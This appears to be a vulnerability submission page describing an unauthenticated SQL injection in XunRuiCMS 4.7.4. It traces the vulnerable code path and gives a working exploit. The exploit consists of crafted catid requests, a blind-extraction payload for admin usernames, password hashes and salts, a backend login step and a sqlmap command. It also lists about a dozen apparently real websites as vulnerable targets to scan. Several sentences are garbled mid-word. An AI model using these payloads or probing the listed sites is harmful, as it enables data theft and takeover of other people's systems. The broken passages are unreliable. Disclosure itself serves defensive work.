| Title | 四川迅睿云软件开发有限公司 迅睿CMS 4.7.4 SQL Injection |
|---|
| Description |
Description
XunRuiCMS (also distributed as XunRuiPHP / Phpcmf), an open-source PHP content
management system built on CodeIgniter 4, is affected by an unauthenticated SQL
injection vulnerability in version 4.7.4.
The front-end member API controller dayrui/App/Member/Controllers/Api.php::template()
(line 263) performs no authentication or authorization check. At line 285 it assigns
the complete raw GET parameter array as template variables via
View::assign(input()->get('', true)), and then renders an attacker-selected template
via View::display() at line 287.
The shipped template template/pc/default/home/list.html (line 17) contains the list
tag {module catid=$catid order=updatetime paation this
tag is expanded into a double-quoted PHP string (dayrui/Fcms/Core/View.php:866), so
the variable $catid is interpolated at runtiution in
View::get_file_name() falls back from the member template directory
(template/pc/default/member/) to the front-end home directory
(template/pc/default/home/) when the requested file does not exist in the member
directory (View.php:386-389). Because the member directory contains no list.html,
the front-end template is reachable from the unauthenticated member API endpoint.
An attacker can therefore append additional tag attributes inside the value of the
catid parameter, for example:
catid=201 module=news where='1=1 AND 1=1'
The resulting tag parameter string is passed to View::list_tag() (View.php:962),
where the regular expression /where='(.+)'/sU at line 1008 extracts the injected
where fragment without any sanitization. TheSQL
condition (adj = SQL) at lines 1390-1396 and concatenated directly into the generated
SQL statement at lines 1872-1874, where str_replace only substitutes the table prefix
placeholder @#, resulting in complete contro
The vendor addressed this issue after a 4.7.2 disclosure, but the fix was applied to
only one of two twin implementations. The hacore
directory, dayrui/Fcms/Control/Api/Api.php (lines 389-400), now blanks the where
parameter and forces catid to integer values. The functionally equivalent
implementation in the application directory,s/Api.php
(line 285), was not updated and remains vulnerable in 4.7.4.
The XSS filter applied to request parameters does not prevent the attack.
Security::_convert_attribute() (dayrui/Fcms/Library/Security.php:776-779) only
encodes the characters >, < and backslash; single quotes, double quotes, equals signs
and spaces pass through unmodified.
Successful exploitation allows an unauthenticated remote attacker to read arbitrary
data from the database using boolean-based b the MD5
password hash and salt of backend administrator accounts, which can be cracked
offline or reversed. This enables full takeover of the backend administration
interface.
Advisory / Exploit
Reproduction (unauthenticated; no session, cookie or credentials required).
Step 1 - Boolean oracle. The endpoint does not return SQL error messages, so the
response Content-Length is used as the boolean oracle.
GET /index.php?s=member&c=api&m=template&name=list.html&catid=201%20module%3Dnews%20where%3D%271%3D1%20AND%201%3D1%27
Host: <target>
-> HTTP/1.1 200 OK, Content-Length: <B_TRUE>
GET /index.php?s=member&c=api&m=template&name=list.html&catid=201%20module%3Dnews%20where%3D%271%3D1%20AND%201%3D2%27
Host: <target>
-> HTTP/1.1 200 OK, Content-Length: <B_FALSE
The payload is placed inside the value of the catid parameter; spaces are URL-encoded
as %20 and the enclosing single quotes as %27.
Step 2 - Confirm that the injected fragment is parsed as SQL by the database:
GET /index.php?s=member&c=api&m=template&name=list.html&catid=201%20module%3Dnews%20where%3D%271%3D1%20AND%20nosuchcolumn_zz%3D1%27
Host: <target>
-> HTTP/1.1 500 Internal Server Error
A syntactically valid expression in the same position returns HTTP 200, which shows
that the text is evaluated as SQL rather than treated as a string literal.
Step 3 - Blind extraction. Comparisons use SIGN(a-b)=1 instead of the > operator,
because Security::_convert_attribute() encodes the > character. String literals are
avoided because the extraction regex /where='(.+)'/sU terminates at the first inner
single quote; numeric literals such as 0x61 or 97 are used instead.
1=1 AND SIGN(ASCII(SUBSTRING((SELECT <column> FROM dr_member WHERE id=1),<pos>,1))-<mid>)=1
Target columns: dr_member.username, dr_member.email, dr_member.password,
dr_member.salt.
Step 4 - Authenticate with the recovered credentials. The backend entry point is
randomly renamed by the installer and the default admin.php is usually removed, so
the real entry filename is required. The SQL injection itself does not require
authentication; this step only demonstrates
POST /<entry>.php?c=login&m=index HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
data[username]=admin&data[password]=<md5(cleartext)>&data[mode]=1
Below are examples of assets with vulnerabilities. and you can use sqlmap to check the sql inject
http://birhuv.cn
http://x.x.x.x
http://www.huishoump.com
https://kexin.39ti.com
https://www.heihubox.com
https://www.gzrkjskzs.com
https://www.wayxu.com
http://cnddc.cn
https://cms.0574.ltd
https://hebkx.cn
https://x.x.x.x
https://www.huangdantu.com
http://www.huangdantu.com
https://www.weixu.xin
The sqlmap syntax is as follows:
GET /index.php?s=member&c=api&m=template&name=list.html&catid=201 module=news where=* HTTP/1.1
Host: 192.168.53.3
Cookie: xunruicms_588d87f4bfdefd71c49762d123d995d7=eff28a3ffed...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
sqlmap -r req.txt -p where --technique=B --dbs
|
|---|
| Source | ⚠️ https://www.xunruicms.com/down/ |
|---|
| User | DDL008 (UID 97408) |
|---|
| Submission | 10/27/2026 08:51 (29 days ago) |
|---|
| Moderation | 11/25/2026 09:30 (29 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 429671 [dayrui XunRuiCMS up to 4.7.4 Member View.php View catid sql injection] |
|---|
| Points | 0 |
|---|